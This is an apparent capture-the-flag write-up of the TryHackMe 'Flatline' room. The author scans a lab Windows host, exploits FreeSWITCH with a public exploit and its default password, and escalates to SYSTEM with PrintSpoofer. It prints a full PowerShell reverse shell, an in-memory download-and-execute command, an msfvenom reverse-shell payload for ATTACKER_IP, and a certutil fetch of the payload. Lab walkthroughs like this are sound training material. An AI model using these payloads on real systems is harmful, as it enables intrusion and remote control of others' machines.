# PLATFORM . THM# CTF NAME . Flatline# DESCRIPTION . How low are your morals?# DIFFICULTY . Easy# CTF LINK . https://tryhackme.com/room/flatline
sudo nmap -sSVC -T5 -Pn -p- 10.10.118.70 -oN flatline
- I’ve used
-Pn
since it appeared as down and the ping wasn’t working against the target. - The server was up for ~15 minutes, so I assumed it was fully functional by now.
PORT STATE SERVICE VERSION3389/tcp open ms-wbt-server Microsoft Terminal Services|_ssl-date: 2024-02-12T18:24:43+00:00; -1s from scanner time.| ssl-cert: Subject: commonName=WIN-EOM4PK0578N| Not valid before: 2024-02-11T18:08:47|_Not valid after: 2024-08-12T18:08:47| rdp-ntlm-info:| Target_Name: WIN-EOM4PK0578N| NetBIOS_Domain_Name: WIN-EOM4PK0578N| NetBIOS_Computer_Name: WIN-EOM4PK0578N| DNS_Domain_Name: WIN-EOM4PK0578N| DNS_Computer_Name: WIN-EOM4PK0578N| Product_Version: 10.0.17763|_ System_Time: 2024-02-12T18:24:39+00:00
8021/tcp open freeswitch-event FreeSWITCH mod_event_socketService Info: OS: Windows; CPE: cpe:/o:microsoft:windows
PORT 3389
Section titled “PORT 3389”- I started digging deeper into RDP since the port 3389 was open.
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -Pn -p 3389 -T5 10.10.118.70
PORT STAT[[Tech_Supp0rt 1]]E SERVICE3389/tcp open ms-wbt-server| rdp-enum-encryption:| Security layer| CredSSP (NLA): SUCCESS| CredSSP with Early User Auth: SUCCESS|_ RDSTLS: SUCCESS| rdp-ntlm-info:| Target_Name: WIN-EOM4PK0578N| NetBIOS_Domain_Name: WIN-EOM4PK0578N| NetBIOS_Computer_Name: WIN-EOM4PK0578N| DNS_Domain_Name: WIN-EOM4PK0578N| DNS_Computer_Name: WIN-EOM4PK0578N| Product_Version: 10.0.17763|_ System_Time: 2024-02-12T18:27:13+00:00
- However, I had no desire to try bruteforcing for now and I didn’t knew what else to do with RDP.
PORT 8021
Section titled “PORT 8021”-
After some googling around, I found out that FreeSWITCH is a free and open-source telephony software for real-time communication protocols using audio, video, text and other forms of media.
-
I tried connecting with
netcat
to this service and I needed authentication.
nc 10.10.118.70 8021Content-Type: auth/request
- After some more googling around, I found out the default password and an exploit written for this here.
python3 47799.py 10.10.118.70 whoami
AuthenticatedContent-Type: api/responseContent-Length: 25
win-eom4pk0578n\nekrotic
-
If we have enough privileges, technically we could add a new account to the system and then RDP to it.
-
However, I’ve chosen to create a reverse shell and execute it from memory, since this would be harder to detect in a real life scenario. A new added user to the system pops up :)
-
To do this, I’ve saved the following Powershell reverse shell in a file called
shell.ps1
.
$client = New-Object System.Net.Sockets.TCPClient('IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
- Then, using the exploit above, I’ve downloaded it from my python webserver & executed it in memory.
(New-Object Net.WebClient).DownloadString('http://IP:PORT/shell.ps1')
NOTE: Make sure the listener is active, as the reverse shell will get executed automatically after being downloaded.
Connection received on 10.10.118.70 49987whoamiwin-eom4pk0578n\nekroticPS C:\Program Files\FreeSWITCH>
-
Both flags are in
C:\Users\Nekrotic\Desktop
, calleduser.txt
androot.txt
. -
We can read only
user.txt
.
PRIVILEGE ESCALATION
Section titled “PRIVILEGE ESCALATION”PS C:\Program Files\FreeSWITCH> whoami /priv
PRIVILEGES INFORMATION----------------------
Privilege Name Description State========================================= ================================================================== ========SeIncreaseQuotaPrivilege Adjust memory quotas for a process DisabledSeSecurityPrivilege Manage auditing and security log DisabledSeTakeOwnershipPrivilege Take ownership of files or other objects DisabledSeLoadDriverPrivilege Load and unload device drivers DisabledSeSystemProfilePrivilege Profile system performance DisabledSeSystemtimePrivilege Change the system time DisabledSeProfileSingleProcessPrivilege Profile single process DisabledSeIncreaseBasePriorityPrivilege Increase scheduling priority DisabledSeCreatePagefilePrivilege Create a pagefile DisabledSeBackupPrivilege Back up files and directories DisabledSeRestorePrivilege Restore files and directories DisabledSeShutdownPrivilege Shut down the system DisabledSeDebugPrivilege Debug programs EnabledSeSystemEnvironmentPrivilege Modify firmware environment values DisabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeRemoteShutdownPrivilege Force shutdown from a remote system DisabledSeUndockPrivilege Remove computer from docking station DisabledSeManageVolumePrivilege Perform volume maintenance tasks DisabledSeImpersonatePrivilege Impersonate a client after authentication EnabledSeCreateGlobalPrivilege Create global objects EnabledSeIncreaseWorkingSetPrivilege Increase a process working set DisabledSeTimeZonePrivilege Change the time zone DisabledSeCreateSymbolicLinkPrivilege Create symbolic links DisabledSeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
-
We see that we have the
SeImpersonatePrivilege
enabled. -
This means that we can impersonate any client after we’re authenticated (whatever, we skipped the “authentication” part).
-
I’ve used this PrintSpooler.exe to escalate privileges
PrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10.
To escalate privileges, the service account must have SeImpersonate privileges. To execute:
-
However, I couldn’t make it work so I’ve assumed this is because of my unstable shell.
-
So I’ve generated a new shell using msfvenom, hopefully that would be more stable.
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o shell.exe
- Then, I’ve transferred it using
certutil
since it was too big>8192
, so it coudln’t be downloaded by theDownloadString
method.
python3 47799.py 10.10.118.70 "certutil -urlcache -split -f http://ATTACKER_IP:8000/shell.exe"
- Then, I’ve executed it using
python3 47799.py 10.10.118.70 shell.exe
-
The listener was a simple
nc -nvlp 4444
. -
This shell was much more responsive and I was able to run the
PrintSpoofer.exe -i -c cmd
to escalate privileges.
C:\Program Files\FreeSWITCH> PrintSpoofer.exe -i -c cmd[+] Found privilege: SeImpersonatePrivilege[+] Named pipe listening...[+] CreateProcessAsUser() OKMicrosoft Windows [Version 10.0.17763.737](c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
- The last flag is in
C:\Users\Nekrotic\Desktop\root.txt
.